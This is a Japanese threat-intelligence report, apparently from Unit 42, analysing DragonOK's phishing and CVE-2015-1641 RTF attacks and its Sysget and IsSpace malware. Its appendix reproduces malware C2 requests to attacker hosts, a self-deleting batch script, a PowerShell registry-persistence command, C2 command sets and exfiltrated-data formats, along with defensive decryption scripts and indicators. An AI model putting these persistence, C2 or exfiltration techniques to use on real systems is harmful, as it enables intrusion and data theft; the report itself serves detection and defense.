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概要
パロアルトネットワークスの脅威インテリジェンスチームUnit 42が確認したDragonOKという攻撃グループは、依然として活発に活動を続けています。Unit 42が初めてこのグループについて確認し、報告したのは2015年4月のことで、日本の多数の組織を標的に、訃報などのおとり文書を利用していて攻撃を行っていることを明らかにしました。
Unit 42ではここ数か月間、このグループの仕業であるとみられる攻撃を多数確認しました。以前話題となったSysgetマルウェア ファミリの複数の新型亜種がDragonOKによって使用されていることも目撃されました。Sysgetマルウェアは、フィッシング電子メールを介して直接配信されるほか、リッチ テキスト形式(RTF)の文書を介して配信されています。このRTF文書はマイクロソフト製品CVE-2015-1641の脆弱性(MS15-033にてパッチ提供済み)を狙ったもので、極めて特異なシェルコードを活用しています。さらに、IsSpaceおよび TidePoolマルウェア ファミリのインスタンスが同じ手法で配信されていることも確認しました。
地理的な攻撃範囲を確認すると、日本は今もなおDragonOKによって最も標的にされている地域です。一方、台湾、チベットおよびロシアの個人または組織へと攻撃の範囲を広げている可能性があるサンプルも出てきています。
潜入
Unit 42は、この攻撃活動を目的とする特異な潜入手法として、以下の2つを確認しています。
- 悪意のある実行形式ファイルが直接添付されている状態で送信されるフィッシング電子メール
- 悪意のあるRTFファイル(CVE-2015-1641をエクスプロイトする)
このフィッシング電子メールには以下の特徴があります。
電子メールの件名の例
- Pickup at the Juanda Airport (9月1日)
- ポイントプレゼントのお知らせ
- 20周年記念パーティー
- 参加者の10周年記念同窓会一覧
- 子供の調査連れ
- G20 report
- 記念日の再会
- 最新の人事異動通知
添付ファイル名
- G20 report.exe
- form.exe
- List of Participants.exe
- Registration form.exe
これらの攻撃は日本の以下の産業を対象としていました。
- 製造業
- 高等教育機関
- エネルギー
- テクノロジ
- 半導体
悪意のあるRTFファイルは、極めて特殊なシェルコードを活用して悪意のあるペイロードをドロップし、実行します。また、おとり文書も活用します。おとり文書は被害者に疑いを抱かせないよう、適切で敵意の感じられない文書が用いられ、これは悪意のあるペイロードが配信された後で開かれます。
2つのサンプルの中に、図1に示すおとり文書が含まれていることが分かりました。
文書のタイトルを大まかに訳すと、「交通部および所属機関主管の空地、主催の公共事業水源清掃に関する写真」となります。繁体字の中国語が使われていることから、台湾、香港またはマカオに住んでいる人をターゲットとした可能性の高いことが伺え、タイトルに基づいて考えると、狙われていた被害者は台湾出身者だったと結論を下しても差し支えないでしょう。これらのサンプルは更新版のIsSpaceマルウェア ファミリを配信していました。IsSpaceマルウェア ファミリについては、以前、航空宇宙産業を標的とする水飲み場型攻撃において取り上げました。IsSpaceはNFlogバックドアの進化した亜種であり、NFlogバックドアは過去にDragonOKが使っていたものです。
特定した別の2つのサンプルは、チベットをテーマにしたおとり文書を使っていました。問題の文書(図2)は、文書の内容自体ばかりでなく、使われているロゴが示しているように、見た目には中央チベット行政府から出た内部のニュースレターです。この文書は、マルウェアがチベット問題に関心を持つ個人を標的としている可能性を示しています。これらのサンプルは、TidePool マルウェア ファミリを配信しており、他に例を見ないものです。TidePool マルウェア ファミリについて、私たちは2016年5月に報告しましたが、DragonOKが攻撃にTidePoolを使用しているところが確認されたのは初めてです。
私たちは台湾人を標的とするおとり文書(図3)を使った別のサンプルも特定しました。このおとり文書は新型のSysgetサンプルを使用していました。
このグループに関連付けられる別の新型サンプルはロシア語のおとり文書(図4)を使っていました。問題のおとり文書は、1970年代にロシア政府により策定されたGOSTブロック暗号について考察しています。ロシアに特化した主題とロシア語との組み合せから、狙われていた被害者がロシア語を話し、暗号化に関心を持っている可能性のある人物であることが伺えます。すでに考察したチベットのおとり文書と同様、これらのサンプルもTidePoolマルウェア ファミリを配信していました。
最後に、複数のサンプルが中国語繁体字のおとり文書を使用していましたが、このおとり文書では福利補助金調整プログラムについて議論していました。中国語繁体字の使用は、私たちが目にしたフィッシング電子メールで確認されたものと同様で、台湾、香港、マカオの住民を狙ったものと考えられます。それらのフィッシング電子メールと同様、Sysgetマルウェア ファミリの亜種がこれらのファイルによってインストールされます。
展開されたマルウェア
未遂の攻撃で使用されていたさまざまなサンプルを観察する中で、以下の4つのファミリを特定しました。
- Sysgetバージョン2
- Sysgetバージョン3
- TidePool
- IsSpace
Unit 42の2015年4月のブログ発表以降に、多数の変更があることが分かったため、このSysgetの分類を複数の亜種に分けました。Sysgetのバージョン間の主要な相違には以下のものなどがあります。
Sysgetバージョン2
- Windows XP上での永続性に関するサポートの削除
- ネットワーク通信用に使用するURIの手直し
- ネットワーク通信用の新たな暗号化レイヤーの追加および設定ファイルの保存
- RC4からAES-128への切り替え
Sysgetバージョン3
- デバッグ対策および仮想マシン対策のプロシージャを多数追加
- ネットワーク通信時のURIを初期の静的キーの使用により暗号化
このほか、私たちはSysgetバージョン4を観測しましたが、これはリサーチを行っている際に別のサンプル内で発見しました。このバージョンは、組織に対する特定の攻撃には関与していないとみられます。
Sysgetバージョン4および特定の攻撃に直接関与していない他のサンプルに関連性のあるセキュリティ侵害の痕跡(IoC)およびさまざまなSysget亜種に関する詳細情報は、このブログ記事の下部の参考情報に記載しています。
確認したTidePoolサンプルは以前公表したサンプルと矛盾しないものです。ぜひ以前のブログ記事でも、このマルウェア ファミリの複雑さについて理解を深めていただければと思います。
IsSpaceマルウェア サンプルは最後に私たちが記事にしたとき以降に更新されたようです。コマンド アンド コントロール(C2)サーバからのコマンドで利用可能なものは同じですが、ネットワーク通信のURI構造は変更されました。さらに、このマルウェア ファミリ用のインストール ルーチンは更新されて、以前検討したバージョンに比べて複雑さがかなり減少しました。永続性を整えるのにPowerShellが採用され、以前使われていたサイドローディング手法は廃止されました。IsSpaceの新しいインスタンスに関するさらに詳細な分析は、このブログ記事の終わりの方の参考情報にあります。
インフラストラクチャ
独特なドメインが、この攻撃で使われたさまざまなトロイの木馬で多数利用されていました。私たちが観察したSysgetの多数のインスタンスに関して言えば、以下のドメインがC2用のものとして確認されました。
- kr44.78host[.]com
- gtoimage[.]com
- gogolekr[.]com
上記ドメインのいずれにも、中国のWHOIS登録者情報の詳細があります。さらに、gotoimage[.]comおよびtrend.gogolekr[.]comはどちらも同一の登録者が登録されており、同一ネットブロックの104.202.173.0/24に解決されます。
特定されたTidePoolのインスタンスは以下のC2サーバと通信していました。
- europe.wikaba[.]com
- russiaboy.ssl443[.]org
- cool.skywave[.]top
これらのドメインには上記Sysget C2サーバとの間に決定的な関係がさほどありませんでしたが、例外はcool.skywave[.]topであり、これは独特な登録者電子メール アドレスをtrend.gogolekr[.]comというSysget C2サーバとの間で共有していました。さらに、解決されたIPの地理的範囲は以前のものと変わらず、すべて東南アジアのさまざまな地域に解決されました。具体的に言えば、これらのドメインは過去6カ月間、中国、韓国、および台湾に帰着しました。
IsSpaceサンプルは以下のドメインに帰着しました。
- www.dppline[.]org
- www.matrens[.]top
これらのドメインはそれぞれ韓国および香港に帰着する以外、以前述べたC2サーバとは見たところ何も関係はないようです。そのうえ、「Jiangsu Bangning Science and technology Co. Ltd.」という登録者は大量のドメインで使われていました。さまざまな攻撃同士の関連をすべて図で表したものが図6です。
結論
DragonOKグループは極めて活動的であり、ツールと戦略を継続してアップデートしています。本グループのツールセットは活発に開発が進められ、検出や分析をさらに困難にしています。さらに、TidePoolのような新たなマルウェア ツールセットを使用しているように見受けられます。日本は現時点でもこのグループが最も標的としている地域ではありますが、台湾、チベット、ロシアといった他の地域においても、このグループは被害を拡大しているようです。
パロアルトネットワークスのお客様は、次の方法で脅威から保護されています。
- マルウェア ファミリはAutoFocusにおいてさまざまなタグ(TidePool、NFlog、Sysget)によりタグ付けされています。
- 以下のIPSシグネチャは悪意のあるネットワーク トラフィックを検出します。
- IPSシグネチャ14365 (IsSpace.Genコマンド アンド コントロール トラフィック)
- IPSシグネチャ14588 (Suspicious.Genコマンド アンド コントロール トラフィック)
- IPSシグネチャ13574 (NfLog.Genコマンド アンド コントロール トラフィック)
- IPSシグネチャ13359 (NfLog.Genコマンド アンド コントロール トラフィック)
- すべてのサンプルはWildFireで悪意があるものとして適切にマークされます。
参考情報
CVE-2015-1641エクスプロイトおよびシェルコード
DragonOKは、CVE-2015-1641の脆弱性を狙った攻撃をする際、極めて特殊なシェルコードのペイロードを使用します。このCVEはメモリを破壊する脆弱性であり、さまざまなバージョンのMicrosoft Office (2007、2010および2013など)において任意のコード実行を許してしまいます。
シェルコードは、少数のAPI関数をkernel32から動的にロードすることから始めます。関数名を表すハッシュが数多く含まれており、これらの関数名は右方向に7つ分巡回する(ROR7)操作を施された後に、キー"\x10\xAD\xBE\xEF"による排他的論理和(XOR)の演算処理を受けます。ROR7操作はシェルコードにおける極めて一般的な手法であり、どんな関数が呼び出されているのか分かりにくくします。作成者はこのXOR操作を加えることによって、難読化された新たなレイヤーを追加しました。
シェルコードは必要なAPI関数をロードすると、埋め込み済みの悪意のあるペイロードやおとり文書の開始と終了の印となっている多数のマーカーを探し出す処理に進みます。
悪意のある実行形式ファイルは、開始点マーカーの0xBABABABABABAと終了点マーカーの0xBBBBBBBBによって印が付けられています。おとり文書は悪意のあるペイロードの終端の直後にあり、その終了点マーカーは0xBCBCBCBCです。2つの実行形式ファイルはいずれも4バイトのXORキーを使って暗号化されています。もし万一、元のデータに0x00000000が含まれていた場合、この値に対してはXOR演算処理が行われません。
悪意のあるペイロードはキー0xCAFEBEEFを使ってXOR演算処理され、おとり文書は0xBAADF00Dを使ってXOR演算処理されます。以下のスクリプトをRTF文書に対して適用すれば、悪意のあるペイロードとおとり文書の両方を抽出することができるでしょう。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 |
import sys, binascii from itertools import cycle, izip import re def xor(message, key): return ''.join(chr(ord(c)^ord(k)) for c,k in izip(message, cycle(key))) def decrypt(data, key): output = "" iteration = 4 position = 0 while True: window = data[position:position+iteration] if window == "\x00\x00\x00\x00": output += window else: output += xor(window, key) position += iteration if position == len(data) or position > len(data): break return output def extract(data): exe_data, doc_data = None, None exe_starting_point = data.index("\xBA\xBA\xBA\xBA\xBA\xBA") + 6 exe_ending_point = None ending_points = [m.start() for m in re.finditer("\xBB\xBB\xBB\xBB", data)] for e in ending_points: if e > exe_starting_point: exe_ending_point = e if exe_starting_point and exe_ending_point: mz_data = data[exe_starting_point:exe_ending_point] exe_data = decrypt(mz_data, "\xBE\xBA\xFE\xCA") else: raise Exception("Unable to find correct offsets for executable.") doc_starting_point = exe_ending_point + 4 doc_ending_point = None ending_points = [m.start() for m in re.finditer("\xBC\xBC\xBC\xBC", data)] for e in ending_points: if e > doc_starting_point: doc_ending_point = e if doc_starting_point and doc_ending_point: doc = data[doc_starting_point:doc_ending_point] doc_data = decrypt(doc, "\x0D\xF0\xAD\xBA") else: raise Exception("Unable to find correct offsets for document.") return [exe_data, doc_data] def main(): input_file = sys.argv[1] input_fh = open(input_file, 'rb') input_data = input_fh.read() input_fh.close() exe, doc = extract(input_data) filename = "{}.exe".format(input_file) output_file = open(filename, 'wb') output_file.write(exe) output_file.close() print "[+] Wrote {}".format(filename) filename = "{}.doc".format(input_file) output_file = open(filename, 'wb') output_file.write(doc) output_file.close() print "[+] Wrote {}".format(filename) if len(sys.argv) == 2 and __name__ == "__main__": main() |
2つとも復号化されると、これらは%TEMP%ディレクトリ内の以下の位置に書き込まれます。
- ../..exe
- ../..doc
最初の'..'に注目してください。これは%TEMP%の親ディレクトリを表しています。これと、..exeおよび..docという変わった名前との組み合せにより、このシェルコードが極めて特異なものとなっています。これらのサンプルが同じグループのものであるとUnit 42が考えたのはこうしたことが背景にあります。サンプルは、書き込まれるとWinExec呼び出しを介して実行されます。
Sysget v2の分析
Sysgetバージョン2で見られた基本的な変更点の1つは、Windows XPおよびそれ以下のサポートの除外です。その他の変更点としては、ネットワーク通信に使用されるURIの変更があります。
元のバージョンのSysgetと同様に、Sysget v2では、一度に単一のインスタンスが実行されるよう確保するために、引き続き、'mcsong[]'の名前付きイベントが使用されます。それに続いて、%STARTUP%/notilv.exeパスに自身をコピーする試みが行われます。ただし、COMオブジェクトを使用して、Windows XPには対応していないこのアクションを実行し、マルウェアが自身をこの場所にインストールするのを防いでいます。マルウェアの残りの部分は予期したとおりに動作しますが、システムの再起動後に生き残ることはありません。
次に、Sysgetは以下の設定ファイルの読み取りを試みます。このファイル名とパスは、元のバージョンからは変更されていますが、後続のバージョンでは一致しています。
- %APPDATA%/vklCen5.tmp
この設定ファイルには、一意の被害者IDとHTTPトラフィックの暗号化に使用される鍵の両方が含まれます。HTTPトラフィックは、AES-128暗号化アルゴリズムと静的鍵'734thfg9ih'を使用して暗号化されます。AES-128の使用は以前のバージョンからの変更点です。以前のバージョンでは、すべての暗号化動作でRC4が使用されていました。このファイルを復号化するために、以下のPythonコードを使用できます。
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import sys import base64 from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptDecrypt def decrypt(data, original_key): CALG_AES_128 = 0x660E CALG_MD5 = 0x8003 md5_hasher = CryptCreateHash(CALG_MD5) CryptHashData(md5_hasher, original_key) key = CryptDeriveKey(md5_hasher, CALG_AES_128) decrypted_data = CryptDecrypt(key, data) return decrypted_data arg = open(sys.argv[1], 'rb').read() print repr(decrypt(arg, '734thfg9ih')) |
例の設定ファイルに対して実行したときには、以下が出力されました。前述のデータの2つの部分が含まれています。
1 2 3 4 |
C:\>python decrypt_config.py vklCen5.tmp 'gh1443717133\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x001059086204\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |
この設定ファイルの暗号化は、元のバージョンのSysgetには存在していなかった新しい機能です。
このファイルがシステム上に存在しない場合、マルウェアはHTTPリクエストを介して必要な情報の取得を試みます。以下のリクエストがリモートのコマンド アンド コントロール サーバに対して作成されます。マルウェア サンプルによってURI全体が静的に設定されている点に注意してください。
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GET /index.php?type=read&id=1420efbd80ce02328663631c8d8f813c&pageinfo=jp&lang= utf-8 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 Host: hello.newtaiwan[.]top |
サーバは、前述した同じ手法と静的鍵'aliado75496'を使用して暗号化された以下のデータで応答します。復号化すると、以下の例のデータがSysgetに返送されたことがわかります。
gh1443717133\n1059086204\n
最初の文字列が、後続のすべてのネットワーク通信の鍵として使用されます。2番目の文字列は、一意の被害者IDとして扱われます。このデータは、鍵'734thfg9ih'を使用して暗号化され、%APPDATA%/vklCen5.tmpファイルに書き込まれます。
この情報を取得すると、マルウェアは次に、コマンド アンド コントロール ループに入ります。以下のようなHTTPリクエストがリモート サーバに対して作成されます。'mid' GET変数が以前に取得した被害者IDのMD5ハッシュを保持している点に注意してください。URI内のその他のデータはハードコード化されています。
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GET /index.php?type=get&pageinfo=bridge03443&lang=jp&mid=5717cb8fed2750a2ee9e8 30a30716ed4 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 Host: hello.newtaiwan[.]top |
レスポンスは、以前に取得した一意の鍵を使用して暗号化されます。レスポンスに暗号化されていない'Fatal error'が含まれる場合、それ以上のアクションはマルウェア サンプルによって実行されません。復号化すると、レスポンスに付随させる目的で、以下の2つの選択肢のいずれかが含まれている場合があります。代わりに、raw形式でコマンドが提供された場合、マルウェアはそれを実行し、結果を返します。
コマンド | 説明 |
goto wrong "[file_path]";\n | 特定のファイルを読み取り、その内容を返します。 |
goto right "[filename]" "[identifier]" | 特定のファイルを書き込みます。IDは、後続のHTTPリクエストでファイルの内容を取得するために使用されます。 |
'goto wrong'リクエストが作成された場合は、以下のURIに対してHTTP POSTリクエストが作成されます。以下のURIでは、'list'パラメータに被害者のIDのMD5ハッシュが含まれます。
/index.php?type=register&pageinfo=myid32987&list=5717cb8fed2750a2ee9e830a30716ed4
このPOSTリクエストのコンテンツには、被害者のIDおよび一意の鍵で暗号化されたファイルの内容が含まれます。以下に示すように、最初の50バイトは、被害者ID用に予約されています。
1 2 3 4 |
0000016F 35 37 31 37 63 62 38 66 65 64 32 37 35 30 61 32 5717cb8f ed2750a2 0000017F 65 65 39 65 38 33 30 61 33 30 37 31 36 65 64 34 ee9e830a 30716ed4 0000018F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........ 0000019F 00 00 4b 59 bc 53 53 99 2b 6f a7 b5 5a 85 c7 66 ..KY.SS. +o..Z..f |
復号化すると、データにはファイル名とそのファイルの内容の両方が含まれます。
1 2 |
test.txt\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[TRUNCATED]\x 00\x00\x00file contents |
'goto right'コマンドが使用された場合、マルウェアは以下のURIに対して後続のリクエストを作成します。'cache'変数は、'goto right'コマンドで提供された一意のIDを保持します。
/index.php?type=goto&pageinfo=myid47386&cache=identifier
ファイルの内容は、取得された後、%STARTUP%フォルダ内の指定されたファイル名に書き込まれます。
raw形式のコマンドを受け取った場合、マルウェアはPOSTリクエストを介して結果を以下のURIにアップロードします。
/index.php?type=register
Sysgetバージョン2で見られるネットワーク通信の概要は、以下の図で確認できます。
Sysget v3の分析
Sysgetバージョン3で見られた最大の変更点には、追加された多数のデバッグ対策検出と仮想マシン対策検出、ネットワーク通信に使用されるURIの暗号化が含まれます。
最初にマルウェアを実行すると、デバッグされていないこと、およびサンドボックスや仮想環境で実行されていないことを確認するため、チェックが実行されます。
これらのチェックがfalseを返した場合に、マルウェアはインストール ルーチンに入ります。マルウェアは、最初に、%TEMP%ディレクトリ内のファイル名プレフィックスが'00'の一時ファイルに自身をコピーします。その後、このファイルの末尾に、4194304バイトのランダムに選択したデータを付加します。ファイルサイズの増加は、保存または処理するファイルに対してファイルサイズ制限を課すサンドボックスを阻止する試みとして作成者によって追加されることがあります。最後に、マルウェアは、バージョン2で見られたものと同じ手法を使用して、一時パスから%STARTUP%/winlogon.exeパスへ元のファイルをコピーします。その後、Sysgetは以下の内容のバッチ スクリプトを%TEMP%フォルダに書き込み、元のファイルをクリーンアップして、新たに書き込んだwinlogon.exe実行可能ファイルを生成します。
1 2 3 4 5 6 7 8 9 10 |
@echo off :t timeout 1 for /f %%i in ('tasklist /FI "IMAGENAME eq [original_executable_name]" ^| find /v /c ""' ) do set YO=%%i if %%YO%%==4 goto :t del /F "[original_executable_path]" del /F "[tmp_file]" start /B cmd /c "[startup_winlogon.exe]" del /F "[self]" exit |
1 2 3 4 5 6 7 8 |
GET /1.php?K+50lkzq7OtigRtWY7Z5DwkmxRhFd5n3UXyH+Flfa0S8f5h3nl6XBDMa6a3IbDiPQqW SwZh7lQRmIPLlC8Wmfr8cGv7raGEV160r73FJjnOfyJPLEKWAIyJnfPZhHdGapA6tfwfwj24TN 4QbBrMJkVCLPPZoI4HNtdDEo6G3ujjyvkpWnGQnRBi6DzylNrMypV/K6Ft32dsMmmO52q4IdQ== HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 Host: gtoimage.com |
上記のURIをbase64デコードし、その後、復号化すると以下のようになります。
index.php?type=read&id=692fdc3c7b2c310fc017e4af335b8dc8&pageinfo=jp&lang=utf-8
このURIは、以前のSysget亜種と一致しています。作成者は、ネットワークベースの検出を介してマルウェアをブロックする取り組みを妨げるために、この暗号化の層を追加しただけのように見えます。
被害者IDと一意のパスワードを取得するためのこの初期リクエストの後、Sysgetはコマンド アンド コントロール ループに入ります。このプロセスは、以前のバージョンと一致しており、URI用に使用される暗号化の層が追加されているだけです。
Sysget v4の分析
Sysgetの4番目の亜種は、3番目の亜種とほぼ同一ですが、主な違いは、ネットワーク通信に使用されるURIにあります。URIの予期される暗号化に加え、この亜種は後から実行されるbase64エンコードもマングルします。この亜種で見つかったbase64 URIの難読化を解除するために、以下のPythonスクリプトを使用できます。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
import base64 ''' URI Request: GET /5.php?62H72xihwn4LqfdOqTV4W2AthjuOeCa2k0RUvE7CicXxN2MWFre2pqH8gIdMMJQbzS0 AMo+rT4GGalhcebmCbjdrjZlyDhmUjE7QO5mIXZTAucGt3LeLXxOxGiV1G4zecHSPAX3AiAeR+ BGFsc3wtMhOWzXfithXYeCKnjh1O7pXsYqyKqfl=HpVzs4YXZb=UQY=BNEnr/77jW5JTLNI4aed 99 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 Host: www.sanseitime.com ''' uri_string = "62H72xihwn4LqfdOqTV4W2AthjuOeCa2k0RUvE7CicXxN2MWFre2pqH8gIdMMJQbzS0AMo+rT 4GGalhcebmCbjdrjZlyDhmUjE7QO5mIXZTAucGt3LeLXxOxGiV1G4zecHSPAX3AiAeR+BGFsc3 wtMhOWzXfithXYeCKnjh1O7pXsYqyKqfl=HpVzs4YXZb=UQY=BNEnr/77jW5JTLNI4aed99" b64_string = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" prefix_int = int(uri_string[0:2]) out = "" for u in uri_string[2:]: ind = b64_string.index(u) - prefix_int out += b64_string[ind] decoded = base64.b64decode(out) |
さらに、この亜種では、C2 URIが1.phpから5.phpに変更されています。
IsSpaceの分析
最初に実行すると、IsSpaceは、一度にマルウェアの単一のインスタンスが実行されるよう確保するために、一意のイベントを作成します。複数のサンプルに複数の一意のイベント名が含まれていたため、このイベント名はサンプルごとに一意であると思われます。分析したサンプルでは、以下のイベント名が見つかりました。
- e6al69MS5iP
- v485ILa3q5z
その後、IsSpaceはシステム上で実行プロセスを繰り返し、以下の2つのプロセス部分文字列を検索します。
- uiSeAgnt
- avp.exe
uiSeAgnt文字列はTrend Microのソリューションに関連している可能性があり、avp.exeはおそらくKasperskyのマルウェア対策製品に関連しています。
uiSeAgntが特定されると、マルウェアは、まだ'bfsuc.exe'として実行されていない場合はインストールルーチンに入り、その後、終了します。avp.exeが特定された場合は、マルウェアはマウスがクリックされるまで無限スリープ ループに入ります。マウスがクリックされた後は、マルウェアは通常どおりに進行します。
その後、マルウェアは、Windows XPで実行されているかどうかを判別します。実行されている場合は、www.bing.comへのHTTP GETリクエストを作成します。これはネットワーク接続を確認しているものと推定されます。
Windows XPで実行されていない場合、マルウェアは、Internet Explorerからの基本的な認証情報の取得と復号化を試みます。この情報は、ネットワーク通信中に407 (Proxy Authentication Required;プロキシ認証が必要)または401 (Unauthorized;認証が必要)レスポンス コードを受信した場合に、後続のHTTPリクエストで使用されます。
その後、IsSpaceはインストール ルーチンに入り、最初に自身を'bfsuc.exe'という名前で%LOCALAPPDATA%フォルダにコピーします。さらに、以下のPowerShellコマンドを実行し、持続性を確立するための適切なレジストリ キーを設定します。
1 2 3 4 |
C:\Windows\system32\cmd.exe /C Powershell.exe New-ItemProperty -Path HKCU:SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run -Name Identity - PropertyType String -Value c:\users\josh grunzweig\appdata\local\bfsuc.exe -force |
さらにその後、マルウェアは設定済みのC2サーバへの初期HTTP POSTリクエストを作成します。このリクエストは'/news/Senmsip.asp' URIに対して作成されます。POSTデータは鍵"\x35\x8E\x9D\x7A"に対してXORされます。これは、IsSpaceおよびNFlogの以前のバージョンと一致しています。復号化すると、POSTデータは"01234567890"となります。次に、C2サーバが被害者の外部IPアドレスで応答します。
その後、IsSpaceは、以下のURIへのHTTPリクエストを作成する2つのスレッドを生成します。
- /news/Sennw.asp?rsv_info=[MAC_ADDRESS]
- /news/Sentire.asp?rsv_info=[MAC_ADDRESS]
作成される'Sennw.asp' POSTリクエストには、収集された被害者情報が含まれます。それらは、ネットワーク経由で送信される他の情報と同様に、前述の4バイトXOR鍵を使用して暗号化されます。復号化すると、次のような情報が提供されます。
1 2 3 |
60-F8-1D-CC-2F-CF#%#172.16.95.1#%#172.16.95.186#%#WIN- LJLV2NKIOKP#%#Win7#%#English(US)#%#2016-12-20 16:27:12#%#Active#%#xp20160628#%#IsAdmins#%#False |
情報は以下のとおりで、'#%#'で区切られています。
値 | 説明 |
60-F8-1D-CC-2F-CF | MACアドレス |
172.16.95.1 | 以前に収集された外部IP |
172.16.95.186 | 内部IPアドレス |
WIN-LJLV2NKIOKP | ホスト名 |
Win7 | Windowsのバージョン |
English(US) | 言語 |
2016-12-20 16:27:12 | タイムスタンプ |
Active | マルウェアのステータス。'Sleep'の場合もある |
xp20160628 | 潜在する攻撃活動のID |
IsAdmins / False | ユーザー管理者のステータス |
マルウェアは、このHTTPリクエストに対して以下の2つのレスポンスのいずれかを返すものとみなされます。
- Active
- Slient (タイポに注意)
レスポンスとしてSlientを受信した場合、マルウェアは'Sentire.asp' URIへのHTTPリクエストの送信を停止します。逆に、マルウェアが'Sleep'ステータスに設定されており、'Active'レスポンスを受信した場合は、再び、'Sentire.asp'要求を開始します。
'Sentire.asp'へのリクエストは、メインC2ループとして動作し、リモート サーバにコマンドを要求します。コマンドは、以前に観察されたIsSpaceのインスタンスと一致しますが、URIは変更されています。
コマンド | 説明 | レスポンスURI |
CMD | コマンドを実行する | Sentrl.asp |
Browse | 指定されたディレクトリを一覧する | Senjb.asp |
UploadFile | ファイルをアップロードする | Sensp.asp |
DownLoad | ファイルをダウンロードする | Senwhr.asp |
DelFile | ファイルを削除する | N/A |
DragonOKのインジケータ
悪意のあるRTF文書
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0d389a7b7dbdfdffcc9b503d0eaf3699f94d7a3135e46c65a4fa0f79ea263b40
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785398fedd12935e0ae5ac9c1d188f4868b2dc19fb4c2a13dab0887b8b3e220d
941bcf18f7e841ea35778c971fc968317bee09f93ed314ce40815356a303a3ec
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df9f33892e476458c74a571a9541aebe8f8d18b16278f594a6723f813a147552
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IsSpace
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